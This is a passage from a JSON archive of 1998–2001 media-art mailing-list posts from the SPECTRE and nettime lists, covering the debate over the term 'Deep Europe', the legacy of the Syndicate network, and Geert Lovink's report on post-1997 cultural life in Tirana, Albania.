becomes the 'author', and a person becomes a\nkind of - it, a book, and turning back to their original existence on this\nplanet is also an interesting point, but reading Hegel so deeply one can\nonly become Hegel. Moreover he is dead, so becoming a dead person is not\nsome erotic idea...\n\nWhat do you get willing to pay attention to dead ideas (and what worse can\nbe than a dead idea?), and making your own a cornerstone for the graveyard?\nThat is nercophilic, and more - nomenophilia is the worst deadness of the\ndead. Nomen est amen! Name does exist separately from the named... That is a\npoint of buirocracy. Even alive authors don't like to live only in the\nbrackets (((((as they are claustrophobic)))))).\n\nWhy do you go back and did you really find important branding of thoughts?\nAuthenticity in the Internet age???? Don't you find yourself doing a kind of\nSizif's job. Why didn't you post that text, why are you bordered with\ncopyrights, authenticity, and invention of small notions such the one of\ndeep europe is. Copy-left it, we done it on the Syndicate not egoistically,\nand now you protect your own rights? And you were, as you say, reading it?\nWhy do you border with words, dots, commas... What do you want to say is\nimportant, not how you designed it. We all know who told what, we are not\nilliterate so much to think that things might be so original...\n\nI understand the term Deep Europe, but not like you. I don't like it, i feel\nreferring to the  d e e p   s h i t  and i wouldn't like to enter deeper in\nthat part of the Europe, as I was already too deep. That means 'your' term\nis for me frightening, not challenging on thinking. It makes me to run\naway....\n\nUnfortunately in your e-mail I saw more the problem of the originallity of\nthe name Syndicate, not the problem of Deep Europe, as - sorry on a note -\nSyndicate meant more than one term, and it made many of terms to be coined.\nActually why, when you feel so related to authenticity don't face the fact\nyou lost the Syndicate of the Syndicate? You quoted the name with no\ncontent?\n\nIf you were consistent, you would have to write Syndicate (ref.Broeckman,\nArns, Kluitenberg, Lovink, Benson, Harger, Pandilevski, Zivanovic... and\naround hundreds of more?) in the head of every e-mail on that bracket list\n(the quote, the reference to the Syndicate). And pay attention to the order,\nuse alphabetically, it is better, there was no hierarchy of me - myself\nand - I!.\n\nWho the fuck invented friends !!!???? (cough, ref. M. Benson)\n\nbest,\nana\n\n\n",
                                        "date": "Mon, 10 Sep 2001 18:09:48 +0200",
                                        "message-id": "83",
                                        "url": "http://post.in-mind.de/pipermail/spectre/2001-September/000083.html",
                                        "content-type": "n/a",
                                        "author_name": "ana peraica",
                                        "subject": "[spectre] Syndicate (ref. Broeckman, Arns, Kluitenberg, Benson, Pandilevski...)"
                                    },
                                    {
                                        "from": "czas@free.art.pl",
                                        "id": "84",
                                        "content": ">\n>\n> ______________________________________________\n> SPECTRE list for media culture in All Europe\n\n\n",
                                        "date": "Mon, 10 Sep 2001 19:55:46 +0200",
                                        "message-id": "84",
                                        "url": "http://post.in-mind.de/pipermail/spectre/2001-September/000084.html",
                                        "content-type": "n/a",
                                        "author_name": "w.p.",
                                        "subject": "[spectre] Syndicate (ref. Broeckman, Arns, Kluitenberg, Benson,\n Pandilevski...)"
                                    }
                                ],
                                "subject": "[spectre] RE: Deep Europe? Deep troubles! with the \"authors\""
                            }
                        ],
                        "subject": "[spectre] Deep Europe? Deep troubles! with the \"authors\""
                    },
                    {
                        "content-type": "n/a",
                        "from": "bruces@well.com",
                        "id": "82",
                        "content": "> the term deep europe was coined by anna balint. it was passed on by geert\n> lovink. it was used by andreas broeckmann and inke arns. it was interpreted\n> by luchezar boyadjiev. it was used more by sally jane norman, iliyana\n> nedkova, nina czegledy, edi muka, and many others. it is a piece of\n> language and cannot be controlled. it was coined by anna balint in 1996.\n> \n*Hey, \"Deep Europe\" has even been in the WIRED magazine \"Jargon File.\"\nTrust me, all hope of control is lost.\n\nbruces\n\n*If you enjoy seeing net.english under construction, check this out:\n\nhttp://www.logophilia.com/WordSpy/topwords.html\n\n\n",
                        "url": "http://post.in-mind.de/pipermail/spectre/2001-September/000082.html",
                        "message-id": "82",
                        "date": "Mon, 10 Sep 2001 11:01:43 -0500",
                        "list": "spectre",
                        "author_name": "Bruce Sterling",
                        "subject": "[spectre] Deep Europe"
                    }
                ],
                "message-id": "72",
                "date": "Mon, 10 Sep 2001 10:27:05 +0200",
                "list": "spectre",
                "author_name": "Andreas Broeckmann",
                "subject": "[spectre] RE: new mailing list: SPECTRE :info"
            },
            {
                "content-type": "n/a",
                "from": "sj@c3.hu",
                "id": "12",
                "content": "what about this:\n\nSPECTRE concentrates on the artistic and political situations of Eastern=\n Europe to foster links of communication and collaboration among media art=\n communities throughout the continent.  This network connects artists,=\n activists, theorists, and media producers from 28 European countries=\n through both online and offline venues, embodying the tensions and=\n conjunctions arising from the cultural, geographic, and economic remapping=\n of Europe. =20\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n(slightly modified version of Jordan Crandall's column _ European net=\n communities_ published in Artforum, March 1998, p. 20)\n\n\n\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2001-August/000012.html",
                "follow-up": [
                    {
                        "content-type": "n/a",
                        "from": "inke@snafu.de",
                        "id": "15",
                        "content": "At 18:36 28.08.01 +0200, Janos Sugar wrote:\n>what about this:\n>\n>SPECTRE concentrates on the artistic and political situations of Eastern\nEurope to \n\nnope. ;). why should spectre concentrate on situations in eastern europe? i\nhave to admit that I am as much interested in western \"situations\" as i am\nin northern, eastern or southern ones. Madrid, Warsaw, Stockholm, Budapest,\nLisbon, Moscow, Berlin, Tirana, Marseille, Ljubljana, Genua, Bratislava,\nSheffield, Lodz, Linz, Tblissi ... \n\n>foster links of communication and collaboration among media art\ncommunities >throughout the continent.  \n\ni like \"throughout the continent\" though.\n\nperhaps we should really leave of the notion of \"deep europe\" and rather\nsimply call it \"europe\", or \"the continent\", although \"continent\" might\nsound as if you were speaking from a GB perspective (I was once invited to\na panel discussion in GB where i was supposed to give a \"continental view\"\non the media art education situation in GB... i told the audience that i\nwas \"amused\" ;)\n\nthe advantage of \"deep europe\" would be that it does not really designate a\ngeographic territory, but rather a state of mind, a kind of openness, or a\nspecial way of joining different/separate entities together ...\n\n>This network connects artists, activists, theorists, and media producers\nfrom 28 >European countries through both online and offline venues,\nembodying the tensions >and conjunctions arising from the cultural,\ngeographic, and economic remapping of >Europe.  \n\ntoo much focus on \"tension\", and, more importantly: like this it all sounds\nlike a \"finished\" project. I think it should be kept more open.\n\n>(slightly modified version of Jordan Crandall's column _ European net\ncommunities_ published in Artforum, March 1998, p. 20)\n\n?\n\ngreetings,\ninke\n\n\n- mostly offline 2-21 Sep 2001\n- http://www.v2.nl/~arns/\n\n\n",
                        "url": "http://post.in-mind.de/pipermail/spectre/2001-August/000015.html",
                        "follow-up": [
                            {
                                "from": "geert@xs4all.nl",
                                "id": "16",
                                "content": "Hi all,\n\nconcerning announcements. I am not so much against them and I think that are\nnot exactly creating a environment in which an interesting\ndiscussion/exchange will occur. I am not saying that Spectre should have\nless announcements. I personally find them secondary and not all that\ninteresting. Necessary and but not vital for a list. I understand that\nAnnick and Eric as media professionals need this info but that can't all be\nit. I like the idea of a quiet list but I would rather say a quality list,\nwith surprises and necessary differences. The silence related to the crisis\nin Macedonia really worried me.\n\nI do think that Spectre should not just be Syndicate 2.0 or even worse, 1.1.\nSomething went wrong and that something needs to analyzed. Just to continue\ndoesn't make sense to me and has the danger of repetition in it. Why not\nchange a few basic parameter or has everyone turned conservative in terms of\nlist culture and the everyday? I still like the ideas of a web-based\nconferencing system a la slashdot which Amy Alexander proposed. I think\nthat's gonna be really necessary at some point and I don't see why we can't\ndevelop such a thing. It's really not all that difficult anymore. Look what\nwww.autonomedia.org has done with their portal.\n\nBest, Geert\n\n\n",
                                "date": "Wed, 29 Aug 2001 09:28:20 +1000",
                                "message-id": "16",
                                "url": "http://post.in-mind.de/pipermail/spectre/2001-August/000016.html",
                                "content-type": "n/a",
                                "author_name": "geert lovink",
                                "subject": "[spectre] Re:[spect] list info"
                            }
                        ],
                        "message-id": "15",
                        "date": "Tue, 28 Aug 2001 22:44:16 +0200",
                        "list": "spectre",
                        "author_name": "Inke Arns",
                        "subject": "[spectre] Re:[spect] list info"
                    },
                    {
                        "from": "honor@va.com.au",
                        "id": "21",
                        "content": "hi,\n\njanos wrote:\n\n> >SPECTRE concentrates on the artistic and political situations of Eastern \n> Europe to foster links of >communication and collaboration among media \n> art communities throughout the continent.  This >network connects \n> artists, activists, theorists, and media producers from 28 European \n> countries >through both online and offline venues, embodying the tensions \n> and conjunctions arising from the >cultural, geographic, and economic \n> remapping of Europe.\n\nwell, this is just a personal point of view, but i found this definition \nquite prescriptive and a bit restrictive.  i'm not sure its accurate to say \nthat we only concentrate on 'eastern european' situations, and given the \nprogress the syndicate made in trying to break down territorial \ndistinctions of identity, i feel that using terminology such as the above \nmight be regressive.\n\nalso, if members of [ spectre ] are from one of '28 european countries', \nthat counts me out already.  is it necessary to be _from_ one of 28 \neuropean countrries, in order to contribute to the list in some way?\n\n\nanyway ....\n\nregarding a meeting in linz - do we still want to do this?\n\nwho is available around lunchtime on tuesday 4 september (sometime between \n1200 - 1400)?\nshall we stick with the brucknerhaus bistro?  i think that's the easiest \nlocation myself.  they always have lots of tables set up in the \nbrucknerhaus, just near the bistro so this seems to be a sensible option.\n\nso let's have a textual show of hands - who can come at this time?\nif this isn't a good time, feel free to suggest another time.\n\nbest\n\nhonor\n\n\n",
                        "date": "Wed, 29 Aug 2001 11:34:51 +0100",
                        "message-id": "21",
                        "url": "http://post.in-mind.de/pipermail/spectre/2001-August/000021.html",
                        "content-type": "n/a",
                        "author_name": "honor",
                        "subject": "[spectre] list info + ars meeting"
                    }
                ],
                "message-id": "12",
                "date": "Tue, 28 Aug 2001 18:36:46 +0200",
                "list": "spectre",
                "author_name": "Janos Sugar",
                "subject": "[spectre] Re:[spect] list info"
            },
            {
                "content-type": "n/a",
                "from": "mokus@freeuk.com",
                "id": "20",
                "content": "Inke wrote:\n\n>>SPECTRE concentrates on the artistic and political situations of Eastern\n>Europe to\n>\n>nope. ;). why should spectre concentrate on situations in eastern europe? i\n>have to admit that I am as much interested in western \"situations\" as i am\n>in northern, eastern or southern ones. Madrid, Warsaw, Stockholm, Budapest,\n>Lisbon, Moscow, Berlin, Tirana, Marseille, Ljubljana, Genua, Bratislava,\n>Sheffield, Lodz, Linz, Tblissi ...\n\nI second that absolutely!\n\n>\n>>foster links of communication and collaboration among media art\n>communities >throughout the continent.\n>\n>i like \"throughout the continent\" though\n>perhaps we should really leave of the notion of \"deep europe\" and rather\n>simply call it \"europe\", or \"the continent\", although \"continent\" might\n>sound as if you were speaking from a GB perspective (I was once invited to\n>a panel discussion in GB where i was supposed to give a \"continental view\"\n>on the media art education situation in GB... i told the audience that i\n>was \"amused\" ;)\n\nyou don't say!  I vote (again) for 'deep europe' for the reasons Honor\noutlined, and for the resonances you mention below.\n\n>\n>the advantage of \"deep europe\" would be that it does not really designate a\n>geographic territory, but rather a state of mind, a kind of openness, or a\n>special way of joining different/separate entities together ...\n\n\n>>This network connects artists, activists, theorists, and media producers\n>from 28 >European countries through both online and offline venues,\n>embodying the tensions >and conjunctions arising from the cultural,\n>geographic, and economic remapping of >Europe.\n>\n>too much focus on \"tension\", and, more importantly: like this it all sounds\n>like a \"finished\" project. I think it should be kept more open.\n\nYes. Also, for me the problem with this and the previous formulation is\nthat 'trajectory' or 'remapping' implies a relationship with the\n'transition studies' industry, as well as, perhaps at a further remove, a\nparticular narrative of 'development'.  We should be open to every possible\nperspective on current situations, including going backwards and standing\nstill...\n\npretty much sitting still,\n\nD.\n\n\n\n\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2001-August/000020.html",
                "message-id": "20",
                "date": "Wed, 29 Aug 2001 10:37:04 +0100",
                "list": "spectre",
                "author_name": "David Whittle",
                "subject": "[spectre] Re:[spect] list info"
            },
            {
                "content-type": "n/a",
                "from": "tmr_s@netvision.net.il",
                "id": "508",
                "content": " DEEP EUROPE AND DISPLACED IDENTITIES\n A silent voice comes to life triggered by the deep Europe concepts t=\no\ncomment about its identity.  I speak from an immigrant country, my an=\ncestors\ncame from Poland, I have friends whose origins are from all over the =\nglobe.\nI leave in a mixed village by the sea where Moslems, Christians and J=\news\nleave together. 15 minutes from Tel-Aviv, Israel. The Muasine =96 Mus=\nlim\nnarrator, prays 5 times a day, this sound is overwhelming and punctua=\ntes the\ndays.\n\nI cook Arab food with recipes I get from a woman I know at the local =\nmarket,\nmixed with Eastern European recipes I have from home. The language of=\n my\ntrade is English, my syntax is weird, but my sense of poetry comes fr=\nom the\nbible, which is written in my mother tongue.\n\n Life hazards, due to local terrorism attacks, is being reported dail=\ny on\ntv, Our sense of a safe geographic map had shrunken during the last y=\near,\nbut my real window is window's nt. The internet had always served as =\na\nstrong displacement tool, through which my displaced identity found f=\nellow\nvoices that shared and enhanced my new media enthusiasm.\n\n Internet communities like real life communities are always trying to=\n define\nan `other`, a bad guy, in order to map their boundaries. I find the l=\nost of\nboundaries thrilling. My web sites design, net.art projects and inter=\nactive\ninstallations I dream up, trying hard to realize in a place where the\ninfrastructure for such a venture is scarce, are all strengthened by =\ninfo\nbubbles the travel through my mailbox, for I'm an artist who found th=\ne\nvirtual reflections a hell of a place to be.\n\n Tamar Schori\n\n\n\n\n\n\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2001-November/000508.html",
                "follow-up": [
                    {
                        "from": "kika@alcor.concordia.ca",
                        "id": "511",
                        "content": "Tamar,\nGreat inspiring message. I hope to see some of your artwroks somewhere (in\nCanada?).\nTake care,\nKinga (the 'other' displaced 0/1...)\n\n\nOn Tue, 20 Nov 2001, tamar s wrote:\n\n>  DEEP EUROPE AND DISPLACED IDENTITIES\n>  A silent voice comes to life triggered by the deep Europe concepts to\n> comment about its identity.  I speak from an immigrant country, my ancest=\nors\n> came from Poland, I have friends whose origins are from all over the glob=\ne.\n> I leave in a mixed village by the sea where Moslems, Christians and Jews\n> leave together. 15 minutes from Tel-Aviv, Israel. The Muasine =96 Muslim\n> narrator, prays 5 times a day, this sound is overwhelming and punctuates =\nthe\n> days.\n>\n> I cook Arab food with recipes I get from a woman I know at the local mark=\net,\n> mixed with Eastern European recipes I have from home. The language of my\n> trade is English, my syntax is weird, but my sense of poetry comes from t=\nhe\n> bible, which is written in my mother tongue.\n>\n>  Life hazards, due to local terrorism attacks, is being reported daily on\n> tv, Our sense of a safe geographic map had shrunken during the last year,\n> but my real window is window's nt. The internet had always served as a\n> strong displacement tool, through which my displaced identity found fello=\nw\n> voices that shared and enhanced my new media enthusiasm.\n>\n>  Internet communities like real life communities are always trying to def=\nine\n> an `other`, a bad guy, in order to map their boundaries. I find the lost =\nof\n> boundaries thrilling. My web sites design, net.art projects and interacti=\nve\n> installations I dream up, trying hard to realize in a place where the\n> infrastructure for such a venture is scarce, are all strengthened by info\n> bubbles the travel through my mailbox, for I'm an artist who found the\n> virtual reflections a hell of a place to be.\n>\n>  Tamar Schori\n>\n>\n>\n>\n>\n> ______________________________________________\n> SPECTRE list for media culture in Deep Europe\n> Info, archive and help:\n> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n>\n\n\n",
                        "date": "Tue, 20 Nov 2001 12:23:17 -0500 (EST)",
                        "message-id": "511",
                        "url": "http://post.in-mind.de/pipermail/spectre/2001-November/000511.html",
                        "content-type": "n/a",
                        "author_name": "KINGA ARAYA",
                        "subject": "[spectre] DEEP EUROPE AND DISPLACED IDENTITIES"
                    }
                ],
                "message-id": "508",
                "date": "Tue, 20 Nov 2001 16:30:57 +0200",
                "list": "spectre",
                "author_name": "tamar s",
                "subject": "[spectre] DEEP EUROPE AND DISPLACED IDENTITIES"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00040",
                "content": "\nCulture after the Final Breakdown\nA Report from Tirana, Albania\nBy Geert Lovink\n\nAs expected, Tirana offers much more reality than one can cope with. My\nfirst encounter was overwhelming and confronting. As Europe's poorest\ncountry, deeply Balkan and the most isolated communist regime for decades,\nthe rythms must have been slow here in this former outpost of the Ottoman\nempire. Ismail Kadare, Albania's current national writer in exile, is\ntrying to find excuses for this historical inertia. But for Kadare\nslowness does not equal backwardness. As he writes in Printemps Albanais,\nhis report of the 1990 events, \"slowness can reveal, as under an\nunpenetrable armor, ripeness and the inner light.\" This must be for\nconnoisseurs. Tirana in late spring of 1998 gives a rather different\nimpression--a steamy, grimy intensely balkan 'summer in the city' feeling\ncombined with the sense that the entire country is struggling to get back\nto or? move on to normal. The country is visibly recovering from the\ntotal breakdown of March 1997, which can be seen its Pointe Omega, the new\nyear zero. In that sense Kadare is right: Albania's \"1989\" is just over\none year old and the world should take this cultural delay into account.\n \nDid Jean Baudrillard ever witness the violent aspects of a concrete,\nmassive, sudden, social implosion? I wonder. Baudrillard, who played so\nwith the model of the implosion, must have sensed something in this\ndirection, but his style is too linear, one-dimensional to describe the\nmulti-layered realities of the balkans. French language games are fading\nout now because actual history-in-the-making can easily do without such\nconcepts (and intellectuals all together). It is not even about media. In\nAlbania, the slow decay from within (even more disastrous than elsewhere),\ncombined with a collective frustration over missing the historical wave of\n1989, finally turned into an explosion of violent disinterest and despair.\nIt is tempting to speak of \"post apocalyptic zones.\" But this is merely\npostmodern rethoric. Which contemporary philosopher is studying the case\nof Albania? The country is hardly ever mentioned by journalists. Robert\nKaplan's widely acknowledged 'Balkan Ghosts' (1993) and \"The End of the\nEarth\" (1996) travelogues through the world's abandoned places, rust belts\nand war zones. These books are a usefull starting point but they do not go\nbeyond mere description. Kaplan lacks a theoretical framework that could\nmatch the conservative agenda of culturalists like Samuel P. Huntington.\nIn what terms should the situation outside the Fortresses be described ? \nDo we only speak in terms of \"exclusion\"? Or would you prefer an \"exotic\"\nview on the pitoresque Balkan, like in Tintin's album \"King Ottokar's \nSceptre\"?\n\nWhat puzzled me most about Albania is its delayed, but primal drive to\n(self)destruction. The roads are in the worst possible condition,\nsometimes not even existing. Many places lack electricity and running\nwater, not to mention destroyed schools, dilapidated buildings. What is\nthis hatred towards anything public? And there is still no comprehensive\nanalysis of the 'events' of March 1997. The dry overview of Miranda\nVickers and James Pettifer ('Albania', New York University Press, 1997),\nstops in late 1996 and carries a now ironical, perhaps then too optimistic\nundertitle: \"From Anarchy to a Balkan Identity.\" We should now read it\nbackwards. That's dialectics these days. The old one step forwards, two\nsteps back--no synthesis in sight. What we can see is tragic, ultra-modern\nhistory in the making, monitored by brand new Euro-cops of the West\nEuropean Union, half-hearted Italian neo-colonialism to prevent mass\nescape from the ruined country and plenty of wild electronic media,\npirated software, even a tiny bit of Internet, provided by the UN and\nSoros, via satellites and radio links.\n\nSeen from the dusty, crowded streets of Tirana, filled with its notorious\nstolen Mercedes cars, Kosova seems a very distant place, despite all the\nrefugees that are now flooding in to the Northern Albania. The Nole\ngovernment is certainly concerned with the worsening situation, so are all\nAlbanians. But they lack any military option: their army is a joke\ncompared to the well-armed and experienced Yugoslav army with its\npara-military units. Albania can only call for more foreign involvement,\nnot only in Kosova, but for itself.  There is a big need for a capital,\ninfrastructure and human resources from NATO, EU, Soros and other NGOs. Or\nfrom Rome, Athens, Istanbul, Saudi Arabia. It actually does not matter\nwhere it comes from. At least, that's the impression. It is the time of\nreconstruction and 'development'.  That's the big picture--on a more\npersonal level, daily life goes on..cafe society--thousands of Albanians\non the streets and terraces of hastily and illegally erected cafes whiling\naway the time.\n\nSo here we are--the first ever new media arts event in Albania,\n\"Pyramedia\", organized by the \"Syndicate\" network, a mailinglist of small\ninstitutions and individuals from both ex Western and Eastern Europe (for\na report, see Andreas Broeckmann in the Syndicate web archive).  A small\ngroup of 10-20 dedicated Albanian artists, teachers and students have\nshown up to attend the three days of screenings and presentations. Edi\nMuka, who is teaching contemporary arts (video, installations, etc.) at\nthe Tirana Arts Academy is the driving force behind many of these events.\nI interviewed him twice, at the V2-DEAF festival, September 1996 in\nRotterdam and after the fall of Berisha, in July 97 during \"Deep Europe\"\n(Hybrid Workspace, Documenta X). This time, I spoke with him on the\nterrace of Donika Bardha's Gallery XXI, Tirana's first commercial modern\nart gallery, opened last March, a green (and clean) oasis close to the\ncentral Skanderbeg square and surrounded by a decent cafe and restaurant.\nThis quasi-privatised corner of the pavement has palm trees and a\nfountain. Edi Muka is cool--his dress, sunglasses, the way he's got things\nin control (except when the lamp of the videobeam breaks, a major\ncatastrophe which happened twice...). Edi Muka is well informed, not only\nabout arts and culture, but about politics and media as well. After he\nreturned from Italy, where he fled in the early nineties, he worked with\nforeign journalists and in the field of \"independant media\"  and their\nWestern support organizations. \n\nAccording to Muka, Tirana will sooner or later feel the impact of the\ninflux of refugees in the North. But for the time being it is still\nrecovering from the \"anarchy\" of March 97, the few days when the state\nlost its monopoly on violence. Shortly after the incident, a commission of\nall the political parties represented in Parliament was formed to\nreconstruct and study the events. But within a few months, controversy\nbetween the members broke out and the final report is still pending. So\nthe cause of all the destruction remains vague.  Can it be reduced to a\nplot or conspiracy? According to Muka, Berisha at a certain point decided\nto let everything go when he found out that he could not use the army to\nattack the city of Vlora. \"He defends himself now by saying that he had to\narm the members of his party in order to defend them. Maybe I am wrong. \nNo one knows how reliable the data of this commission is. But a fact is\nthat most of the townhalls were set on fire. There was a lot of corruption\nunder the Berisha government, illegal deals regarding privatization and\nreal estate. A lot of them were done in favour of Berisha's Democratic\nParty members. So this was a good chance to wipe out the evidence. In\nVlora people initially burned the police office and the secret police\nheadquarters.  But the burning of townhalls came later.\"\nCulture lost too.  Museums were looted, even worse than in 1992. Churches\ntoo. Most of all it blocked a process, several years of gradual progress.\nFor example, after March 1997 students did not come to school anymore. It\nwas impossible to get them back to the classroom. \"If you see such a\ndestruction happening around you, after seven years of supposed\n'democracy', the already strong desire of Albanians to leave the country\ngrew ten times.\" \n\nSince December 1997, things have apparently changed for the better. Edi's\nstudents returned to their classes and a number of cultural events took\nplace. In October 1997, eleven artists participated in 'Reorientation',\nan exhibit in a ruined factory, outside of town, curated by Muka. \nThe show was mainly installations, referring to the state of ruin and \nwas considered a turning point. Gezim Qendro, now the director of \nthe National Gallery, participated, along with Edi Hila, one of Albania's \nmodern post-1990 painters, and some young artists. \n\nEdi Muka: \"Despite the fact that it took place in a part which is full of\nguns, a lot of people showed up.  They were eager to see something\ndifferent.\" Another landmark was Albania's participation in Ostranenie,\nthe ex-East media arts festival which took place for the third time in\nDessau in november 1997. Albanian video artworks were screened there for\nthe first time. Also, an annual visual arts competition took place. Muka:\n\"In the past, everybody just hung some artworks on the wall of the\nNational Gallery, no curatorial work, no critics, just a big chaos. This\ntime there was some selection. But there was still a lack of the ability\nto experience things. There were only few who reflected on what had\nhappened in 1997. I don't think this is normal. There is the tendency to\nescape, the young generation leaves the country and the old ones do it in\ntheir way. I concentrated my work on a group of young artists, students\nwho do reflect on the situation. In February,1998, a first show with them\nfollowed in the renovated gallery of the Academy of Art. It was really\ngood and a large audience showed up. I gave some lectures about\nready-mades and abstraction, which is still not very known here. Students\nhave difficulties understanding what happened historically and\nepistimologically.\" And Galeria XXI opened, which is trying to promote the\nart market in Albania because there is no such thing.\n\nThe early revival is evident in other fields as well. The 'Days of New\nMusic' program a few months ago tried to open up the traditional Albanian\nfolk music and elaborate it in a 'modern' way. A proposal to build and\nstaff a new National Theater was approved. But there is still no decision\non the future of the \"International Cultural Center\" the enormous white\npyramid once the Enver Hoxha Memorial Museum. In its most recent\nreincarnation, it is used for the Italian \"Levante\" trade fair, displaying\ntrash consumer goods.\n\nAll this is now in Edi Rama's hands, the brand new Minister of Culture. \nRama, 34, is an experimental artist who played an important role in the\nstudent movement of 1990 and worked and exhibited abroad. His story is\ntelling--In 1996, he was beaten up by Berisha supporters and he then moved\nto Paris where he lived in exile. This spring, when he returned to Tirana\nfor his father's funeral, he was invited to replace Arta Dade, then\nMinister of Culture, who lacked any vision on revitaliziing\nculture-in-ruins with little or no budget. Rama immediately agreed. His\nfirst action was a radical reorganization of the ministry, the first one\never in fifty years.  Edi Muka has known Rama for years. \"He is a\ncharismatic person with a lot of ideas, even though he might not have much\nexperience with administration. He has already left some marks.\" \n\nI managed to get an appointment with Rama on the fourth floor of the\nformer Central Committee building. Edi Rama: \"I inherited an institution\nstill based in the old structures. It is also important to change the\nphysical aspect of the building. It was not functional and there was a lot\nof dust that needed to be cleaned.\" Rama would not say how much money he\ncan freely spend. Rama: \"The budget is low, but even that is misused.  So\nthe first step is to create projects that will make a decent use of the\nbudget possible. Only after that, we can increase pressure on the\nMinistery of Finance and start to approach NGOs.\" \n\nWhere are your priorities, in film, visual arts, media?  Rama: \"Until now,\nthe ministery worked as a sponsor of cultural ghettoization. It supported\nour self-complimentory attitude towards history and the related\ninstitutions that we inherited from the past. The Writers Union, in fact\nall cultural institutions--these old structures are not anymore a threat\ntowards democracy, but they are a obstacle.\" \n \nDo you see a growing divide between the low-brow media culture\nand the elite high culture?\n\nRama: \"If I can make a comparison. During the Communist period we were\nliving in a Jurrasic Park. Now the dinosaurs have disappeared but we are\nstill in a park where anything can happen. You never know from where the\ndanger is coming from. In that respec, things are very disordered. The new\nmedia situation is like a jungle. But I am convinced that the only support\nwe can give to these newcomers is freedom. With the possibility to\nexpress yourself in a free space will also come a need to learn and how to\ndeal with this space. Nowadays, here, people are convinced that freedom is\nmuch more difficult than isolation. To administrate freedom means to\nadministrate yourself. During the time that you had to pass on the shelf\nof totalitarism, you were administrated by someone else. You were not an\nindividual. There was no responsability and no anxiety. In freedom, all\nthese elements become part of you.\"\n\nWhen asked about all those leaving the country, Edi Rama is sending out a\npermanent invitation to all Albanians to do something for this country.\n\"But it is pretty hard to make invitations because you cannot offer any\nguarantees. The problem with this community has been that it always worked\nagainst its own future. The most paralyzed were the young generations. \nThey were marginalized by the gods of politics and culture. The big\nchallenge now is to listen more carefull to their needs in order to make\nthem feel at home in their own country. To a certain age every Albanian is\na refugee in his own country. It is felt as a transit station.\" \n\nYou are not member of a political party. Is it more or less difficult \nthan you expected? \n\nEdi Rama: \"I do not need to operate in a political field because\nmy power is not of a political power but a cultural power.\"\n\nUntil now, local Soros Foundation officials have not felt the urgency to\nopen a \"Soros Center for Contemporary Art.\" This might change soon. Like\nin other countries, the leading 'civil society' intellectuals, mainly\nwriters, were not so sensitive to contemporary art forms let alone\n'electronic art'. But there is another, underlying reason for the low\npriority status of new culture. Understandibly, human right violations,\nfood aid and the basic restoration of law and order take highest priority\nwith Western governments and NGOs. But with this comes a very specific,\nsubconcious, definition of 'democratic culture', a formalistic,\ninstrumental and legalistic approach which defines democracy according to\nits institutional structures, not to its actual lively elements. We can\nsee a similar problem in the field of 'independant media'. What counts is\nthe primacy of frameworks, not initiatives or individual modes of mediated\nexpression.\n\nEdi Muka: \"We can see a standardized way of thinking within these NGOs.\nThey are working according to pre-established models, without paying too\nmuch attention to the local requests. It is definetely important what they\nare doing, to promote NGOs that develop democracy. But what is desperately\nneeded in Albania is a \"cultural revolution.\" A large program to reach all\ngenerations, not only the young. Let's take one example. The main support\nfor translations comes of course from the Soros foundation. They are now\nmainly doing philosophical books from the fifties and sixties (Nietzsche,\nSartre, Camus...) and literature.\" Contemporary books on visual arts,\nmedia and cultural politics are a first requirement in order to spread a\ncomprehensive understanding of the new (media) techonologies, their\ninternal logic, history and potential. And this counts for many fields in\nculture. Otherwise, the existing devide between Western commercial media\ntrash and post-communistic and nationalistic state-sponsored, folklorism\nwill establish itself, leaving little or no room for contemporary forms of\nexpression.\n\nAccording to Edi Muka, staying in cafes all day long is nonsense--artists\nspaces should be created, giving people the possibility to prove\nthemselves. Step by step this will bring the attention to Albania and will\ntake away the desire to leave the country. International exchange also\nplays an important role in this. Soon, Soros won't be the only source of\nmoney. Pro Helvetia (Swiss) is coming, a French Institute will be\nestablished and perhaps also a German Goethe Institute. Regional exchange\nshould also increase to avoid ethnic tensions like those experienced with\nneighboring Macedonia. Muka: \"The tendency should be to find common\npoints, as citizens of the world, not as ethnic Albanians.\" \n\nWhat is striking is the absence of discourse. There is no Albanian art\nmagazine. Before 1990, art critics were politicized and condemned in the\nearly nineties. Within the discipline of art history, political aims\nhad taken precedence over professional standards. The National Gallery has\ntaken the initiative to start an art magazine and the first issue is due\nto come out soon. Then there is the magazine Perpjekja (Endeavour), a\nquarterly cultural journal, edited by Fatos Lubonja. An english anthology\nappeared in 1997, edited by Fatos Lubonja and John Hodgson. It takes a\ncritical approach to developments in Albania and runs translations that\ndeal with issues common to other former Eastern European countries. A\nstructure needs to be created to train art historians, critics and\ncurators. Muka: \"What I am doing now is teaching students to write down\ntheir ideas, to arrange a space. But that is not enough. Now it is time to\nbuild the educational programs.\" A year after the total implosion,\neverything beyond boredom and escape seems possible, first of all a second\nPiramedia. \n\nSyndicate: Andreas Broeckmann, A short Piramedia report\nhttp://www.v2.nl/mail/v2east/0741.html\n\nA copy of the Perpjekja/Endavour anthology may be obtained from: John\nHodgson, 30, Green End, Granborough, Buckingham, MK18 3TN, England.\n\nEdi Muka: kiko41 {AT} hotmail.com, tel/fax +355 5222752.\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Thu, 11 Jun 1998 23:15:45 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199806112217.XAA26597 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9806/msg00040.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> Report from Albania"
            },
            {
                "content-type": "text/plai",
                "from": "Eric Kluitenberg <epk {AT} xs4all.nl>",
                "id": "00083",
